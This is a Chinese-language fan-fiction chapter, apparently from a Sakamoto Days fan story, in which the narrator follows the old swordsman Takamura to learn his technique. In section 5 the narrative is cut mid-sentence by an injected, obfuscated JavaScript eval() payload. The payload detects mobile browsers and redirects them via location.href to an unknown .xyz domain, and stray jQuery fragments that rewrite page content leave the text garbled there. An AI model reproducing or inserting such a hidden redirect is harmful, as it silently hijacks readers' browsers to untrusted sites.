1.


    高强度的任务与那时闲散的站柜台工作不可同日而语。


    再次与太刀相伴的日子充满着血腥的气味，我捏着鼻子挥挥手驱散沉重的空气，仿佛也挥别了刚入职那会儿对业务不太熟练的自己。


    但我依旧是见习生。


    甚至连一次会长的尊荣都没见到过。


    杀联总部大厦已重新修缮完毕，恢复了那副高高在上的、恢宏严峻的模样。得益于我见习生的身份，结束了ORDER的一般任务后，我常常在大楼里跑上跑下，也因此和办公室的大家都混得很熟。


    同事间私下里还拉了一个小群，群名为“烈焰不转正本群就不改名”。


    我看着日渐丰盈的手机好友界面，仿佛又回到了那天在伊豆南云和我一同搭乘的那班电车，他说过，“你以后会有越来越多的联系人”，我或许明白了些许他说这话时的神情：


    我终会走进一片更为广阔的天地。


    2.


    南云抱着酒瓶子盘腿坐在我家沙发上，在一旁大佛懒洋洋抓着我的手臂，无聊地切换着电视频道，而厨房时不时传来乒铃乓啷的锅碗瓢盆声。


    “会长那人，也就长那样啊……”南云眼里闪动着狡黠的光，“要不要下次给你偷拍张照片看看？”


    我摸了块糖：“诶？也用不着啊？”


    “哦，挺好啊。”南云嘴角翘起，“不过就算你说想要我也不会真去给你拍的。”


    我瞪了他一眼。


    每次我们几人凑巧闲下来就会像这样小聚一番，虽然不知从何开始聚会地点就变成了我家。


    “阿豹怎么还没到。”我往门口张望了一眼。


    神神廻端着一盘装点精致的玉子烧走出厨房，弯腰放到茶几上，眯眼坐下：“没看消息？他不是临时有任务走人了吗？”


    闻言我满是遗憾地垮下肩膀：“又有任务啊……不过等我以后和他搭档了就会轻松一点了吧？”


    “等一下！？搭档？”南云唰地一下从座位上弹起，“不是、我还以为……”


    一瞬间，三双黑漆漆的眼睛一齐盯上了我——“难道说，我、没和你们说过吗？”


    我微微后仰。


    啊，好像真没有。


    “咳咳，大概一个月前，我就和阿豹说好了，让他当我‘师父’。”


    南云抽着气摇晃起我的胳膊：“为什么为什么为什么不选我啊！”而我身体的另一边则被大佛占据着，她没有说话只是从下方死死盯住我，好像在用眼神说“快给个说法”。


    面对这左右为难的情景，我拨弄着刘海推开了他俩：“别这么激动嘛，你看神神廻多镇静。”


    神神廻后退一步：“……想干嘛。”


    3.


    后来，我们一边就着神神廻的厨房大作，一边讲起了关于日后搭档的来龙去脉。


    南云眸中流转着某种熟悉的光彩，我心中一动警铃大响：


    “你可别又出什么损招在阿豹身上，然后把这事儿搅和了。”


    “哎呀，小烈焰~你想太多啦~我怎么会做这种事呢？”他笑眯眯地说着。


    算了，我姑且相信吧。


    4.


    『希望能有机会接触到篁。』


    『希望能变得更强。』


    这是我行动的出发点，可是目前途径一通过搭档阿豹碰运气，途径二ORDER开会，都屡屡碰壁，这个神仙一样的前辈总是不知所踪。


    好歹神神廻当时也给我提了些建议，比如说试着用用这边工匠打造出来的刀。


    但是事实令人绝望。


    一个月来，我已经用废了十来把刀了，杀联仓库的管理员恐怕见到我都要害怕。


    我随手又拿起一把在手中掂量着：“那个，我想问一句，你们这些刀，都是哪位工匠打的啊？”


    在一旁矜矜业业陪同我挑选的管理员尴尬地笑了一声：“是杀联的工厂做的……”


    “工厂？好罕见的名字。”


    “不是……”


    “算了，这次我就要这把吧！”我拔刀在空中随意甩了两下，“你们帮我告诉那个人，下次打刀的时候做扎实点，注意下火候和用的材料，之前那些刀我稍微用点力就折了啊。”


    杀联的这座仓库并不在总部，因为都是些不常使用的冷兵器，所以便布置在了郊区的地方。


    好在这地方我已经来过数次，出门后便吹着冷风熟练地步行去附近的车站等公交车。


    眼看距离下一班车还早得很，比起干坐在路边吸汽车尾气，我还是散步去周围买点零食吃吧。


    芝士热狗棒还有些烫嘴，轻轻咬上一口，细碎的面包糠不是粘在嘴角就是哗啦掉落到纸盒里。冷风吹得涌出的热芝士都快定了形，我赶紧跑去一旁楼底的长椅上坐着，一手挡着风飞快地将热狗棒几口解决了。


    唇边感觉粘上了番茄酱，黏糊糊的有些难受，可惜没带餐巾纸。


    “打扰了，请问你有……诶？”


    我扭头正欲向一旁坐下的路人借纸，结果！


    无心插柳柳成荫！


    老人的存在感并不高，可仔细看去，灰白的发丝依旧掩盖不了他浑身逼人的强大气场。他一言不发，双目紧闭，岁月在他皮肤上沉淀出沟壑，乍一看就是一个普通的老头，唯独手里那柄撑着地面的太刀，在我眼中那样显眼。


    已经顾不得其他了，我日思夜想的那个人就在眼前，脑中却还在纠结该先问候他的太刀还是先请教他怎么打到刀长之外的地方。


    然而篁先生却先一步动作了。他动作如同鬼魅一般，毫不起眼地转移去了地下停车场的方向，我没有一秒迟疑，也立刻抄起新太刀就向前跑去。


    5.


    来自地面之上的亮光还未完全消失，我就嗅到了前方一股浓厚的血腥味。


    他是在执行任务吗？还是偶然遇见？


    走在前方的篁依旧没有要开口说话的迹象，我只是加快了脚步跟紧他，留意着周围是否还有其他奇怪的动静。


    而那刀光正是在刹那间闪出了。


    我在感知到那气流的第一时间便回身侧跳一步躲过坠落的砖块，眼神始终追随着那柄看似平平无奇的太刀。


    那头的骚动终于从黑暗中现身，一群形态各异的人类叫嚷着便攻了上来，我听不清他们在说什么，也没心思去听。


    我并不关心他们怎样造成了那浓重血腥味，不关心他们做了什么坏事，他们是谁，不关心篁为什么要杀了他们；我只是想看清那把刀行进的轨迹。


    篁的拔刀干净利落，每一刀的落点仿佛都只是恰好在那儿，而那些人是自动撞了上去似的。他的身高并不高，斩出那些超广域攻击前似乎都以跳跃或冲刺辅助，然而即便这样，那惊人的刀气依旧令我移不开眼。


    “这就死光了？还没看够呐……”


    我意犹未尽地也随之纳刀，本来还以为今天蹭上了一个现场版超长跟练，没想到仅仅三分钟就结束了。


    篁在战斗时似乎使用了一门我从没听过的语言，不过我却有种“能听懂”的错觉，感觉他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649281|163021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大概是在说清理渣滓之类的话。


    把多余的思绪抛去，我再一次跟上老人的脚步，终于开口发问：


    “我也想练出那样的刀法，篁先生，我下次还能来参观吗？”


    虽然做好了一定的心理准备，可实际看到人家不理我，内心还是有些失落的。


    没事，毕竟神果然还是神呐。


    但我生性还是个爱说话的，既然他没把我赶走，我就默认自己还可以呆在他身边。


    “不过，这种清理世界上的人渣的愿望好宏大啊……像我就只是想找人顺带多赚点钱呢。”


    篁依旧没理会我，径自走向路边停着的一辆黑色轿车扬长而去了。


    6.


    对于太刀，我向来都有着百分之百的热忱，无论是商店时期，亦或是现在忙碌的ORDER时期，我都没中断过每日的基础练习。


    早晨起床，先练习拔刀、挥刀的基本动作。


    夜晚睡前，检查当天用刀的损耗度，挑选适合的砺石打磨、保养。


    每个白天和黑夜，都保持着对太刀的1000%绝对爱心。


    倘若有什么我从没见识过的厉害招式，我不动摇的可能性为0%。


    可唯独篁的打法我模仿不来，就算感觉动作相似了些，功效也远远不及他。


    不过即便苦恼，我的眼前也还是有着一线光亮的。


    ——我发现郊区那一片的长椅，似乎是这位老人的固定刷新点。


    在接下来的几天，我都怀着碰瓷的心情去那儿偶遇篁先生，巧就巧在还真被我误打误撞遇见了。


    我就像篁的小尾巴一样，他走到哪儿我跟到哪儿，停车场、废弃楼房、化工厂，好多地方都去杀过一遍了。


    基本上，我每天的日程都是如下这样的循环：


    高效快速地做完当天领到的任务，在任务中试图复刻篁的动作并失败，有50%的几率将新刀弄断，并100%前往郊区领取新刀，在附近游荡“偶遇”篁老爷子，光明正大尾随他做任务，试图模仿及参透他的动作要点并失败。


    在我锲而不舍的努力之下，我和篁的关系已经进化到某天我突然想起来是不是需要打电话给弗洛塔善后但他用刀制止了我拿手机出来的程度了。


    7.


    哦，我并没有为此沾沾自喜啊。


    篁老爷子主动和我互动了这种事，我根本就没有洋洋得意或者期待有人来问我哦。


    8.


    不过，每天苦恼的事还是没有解决。


    我自认为我这个炎火村小英雄只是活了不到二十年就如此厉害也算是个小天才了，领悟能力应该也不至于这么差，但事到如今我真要怀疑我自己了。


    我难道真是个傻瓜吗？


    先前的一切只是我大力出奇迹吗？


    又一天的傍晚，在某个不知名的角落，篁结束了战斗而我却依旧没看明白。


    正处在一种寻常的失落中时，一道寒光幽幽闪过。


    篁第一次正面走到我面前纳刀，“噌”一声，太刀纳入刀鞘。


    他垂着头看不清神色，但干涸的嘴唇微动，发出不明意义的音节。许久后正常的日语才从他喉间缓缓而出。


    “刀，此乃武器。”


    他的声音低沉而嘶哑，就如同灰暗仓库中蒙尘的某柄名刀，不起眼却富有力量感。


    我眨了眨眼，这句话在脑中浅淡地滑过一遍，回过神来面前的人却又一次如同神隐般消失不见。


    或许我真的邂逅神明了也说不定，我想。